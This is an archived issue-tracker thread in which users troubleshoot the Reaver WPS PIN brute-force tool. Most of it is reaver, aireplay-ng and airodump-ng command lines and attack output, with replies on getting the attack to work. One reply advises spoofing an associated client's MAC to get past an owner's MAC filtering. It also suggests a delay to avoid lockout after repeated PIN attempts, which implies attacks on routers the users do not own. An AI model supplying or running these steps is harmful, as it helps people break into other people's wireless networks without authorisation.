Open GoogleCodeExporter opened 8 years ago
try using optinos "-d 5 -N -S" with reaver.
Use aireply-ng to associate first.
aireply -1 0 -a BSSID mon0
Original comment by BHT...@gmail.com
on 24 Jun 2012 at 10:07
BHT, Thank you very much for our reply, unfortunately I don't think I've made
it any further. I did as you suggested and used aireplay-ng to associate
first(which was successful!), then I used reaver with the options you suggested
but still wasn't able to get reaver to associate at first but then I added -A
into the command line and made some progress, now my problem is that I'm
receiving timeout errors on the sending identity response, see below:
root@halo:~# reaver -d 5 -N -S -i mon0 -b A8:39:44:55:77:20 -c 1 -vv -A
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>
[+] Switching mon0 to channel 1
[?] Restore previous session for A8:39:44:XX:XX:XX? [n/Y] y
[+] Restored previous session
[+] Waiting for beacon from A8:39:44:XX:XX:XX
[+] Associated with A8:39:44:XX:XX:XX (ESSID: HomeT2)
[+] Trying pin 55555678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 55555678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 55555678
Original comment by aldoba...@gmail.com
on 25 Jun 2012 at 1:45
having same problem..........
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>
[+] Switching mon0 to channel 1
[?] Restore previous session for E8:39:DF:xx:xx:xx? [n/Y] y
[+] Restored previous session
[+] Waiting for beacon from E8:39:DF:xx:xx:xx
[+] Associated with E8:39:DF:xx:xx:xx (ESSID: ...................)
[+] Trying pin 00009973
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
Any one knows solution ?
many thanks
Original comment by arek.piw...@googlemail.com
on 5 Jul 2012 at 11:17
try --no-nacks
Original comment by metaltu...@gmail.com
on 11 Sep 2012 at 2:42
Did anyone ever find a solution to this problem??
Original comment by THEhtiz...@gmail.com
on 22 Apr 2013 at 8:02
yes. all i had to do was change my interface
Original comment by metaltu...@gmail.com
on 22 Apr 2013 at 10:27
hi i have the same problem as the rest? Have you found a solution?
Original comment by mariyo8...@gmail.com
on 30 Apr 2013 at 9:49
Hi All, i got same problem above, any idea to resolve?
Original comment by ekoa7...@gmail.com
on 1 May 2013 at 2:27
You said changing interface worked. What interface did you have first, and what
interface did you change to?
Thanks in advance.
Original comment by kvels...@gmail.com
on 2 May 2013 at 9:12
I ran airmon-ng start wlan0 which changed the monitor interface to mon1.
running airmon to change monitor interface number up one every time it's
done. for example running airmon-ng start wlan0 again would switch it to
mon2. just do that and the new interface should respond well to the router
Original comment by metaltu...@gmail.com
on 2 May 2013 at 10:14
@ comment #10
Perfect solution, care to explain why this works? I like learning new things
:)
Original comment by ericlewi...@gmail.com
on 3 Aug 2013 at 7:54
not sure why it works...however my guess is that each mon interface has it's
own mac address..it's possible that if someone attacked a router with the same
mon interface at an earlier time the router may have taken security measures
against it...by changing to a mon interface I was able to attack the router
seamlessly...this is just a theory though
Original comment by metaltu...@gmail.com
on 3 Aug 2013 at 10:39
Why am I getting errors
__________________________________-blck_5r3
+] Associated with 40:4A:03: (ESSID: p)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
Original comment by YILDIRIM...@hotmail.com
on 3 Sep 2013 at 2:28
if that fails then try using mac changer to spoof your mac to an already
associated client. What is likely the case is the owner has mac filtering
enabled. By spoofing a mac that is allowed access you can preform the attack as
usual. Additionaly, getting closer to the AP will boost chances substantially.
I would also recommend running reaver with a -r (reoccurring delay) for modern
routers that will lock wps after a certain number of pin attempts...This will
take longer but it works at least
Original comment by metaltu...@gmail.com
on 3 Sep 2013 at 3:38
tried to use both methods but still the same output. Here is what i do: start
changing mac to wlan0 with an already connected station. then associate with my
router with aireplay mon0 -1 120 -a (mac).
then reaver -A -i mon0 -b (mac) -vv
still the same output
Original comment by juanrra...@gmail.com
on 27 Sep 2013 at 10:24
Associated with xx:xx:xx:xx:xx:xx (ESSID: ...................)
Mine doesn't get further than this. It just do nothing (already have -vv)
Original comment by tactical...@live.nl
on 15 Dec 2013 at 10:53
[deleted comment]
Try to use airmon-zc instead of airmon-ng. Worked for me. I use iwlwifi.
Original comment by crash...@gmail.com
on 3 Feb 2014 at 5:21
Greetings!
I had the same issue you all experience. In one of the posts it was mentioned
to start monitoring mode again on wlan0 in order to create a new session mon1
(old one is mon0). It worked half way for me.
By simply restarting my PC (dual boot) I received a better result than starting
a session on a new virtual/monitor interface (mon1).
Running reaver right this second, and from 60 seconds/pin I am getting 17
seconds/pin on average. Distance is about -64dBm.
Hope this helps. I have been running reaver non-stop for about 48 hours now, so
something got hanged I guess.
PS
command I am using is:::: reaver -i mon0 -b MACaDDRESS -S -N -a -c 6 -vv
((((((((-c 6 is the channel)))))))))))
Regards
Original comment by omforyou...@gmail.com
on 7 Apr 2014 at 8:27
Hi guy's. I have been receiving the same problem, although not only am I rather
new to this, I am also using reaver on my phone (RfA 1.20)
It's a Samsung Galaxy S2 using bcmon for Monitor Mode...
I'm getting the same outcome as 'arek.piw...@googlemail.com'
[+] Trying pin 00009973
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
I really don't know what was causing this and would like to know how to fix
this issue as it was not an issue earlier this morning.. + I am a complete
novice and only have a simple GUI to work with (A menu of settings such as
"Ignore AP Locks [], and Send No NACKs [] etc....
Please help.. I would really appreciate it, Thanks.. :-)
Original comment by Aaron.To...@gmail.com
on 14 Sep 2014 at 6:22
How change interface?
Original comment by MegaVlad...@gmail.com
on 27 Sep 2014 at 11:07
Guyz...need sum help....should i ignore
Warning: recieve timeout occured
....plz give a solution if it affects sumthing.....
Original comment by www.a...@gmail.com
on 8 Apr 2015 at 5:01
hi going to need some hlep on this too please...
my command:
terminal 1:
airodump-ng wlan0mon -d 5C:35:3B:A3:21:EE -c 11 --ignore-negative-one
terminal 2:
reaver -i wlan0mon -b 5C:35:3B:A3:21:EE -a -S -N -c 11 -vv -w -T 0.5 - -x 360
-vv -L
Original comment by florr...@gmail.com
on 1 Jun 2015 at 12:36
Original issue reported on code.google.com by
aldoba...@gmail.com
on 21 Jun 2012 at 5:26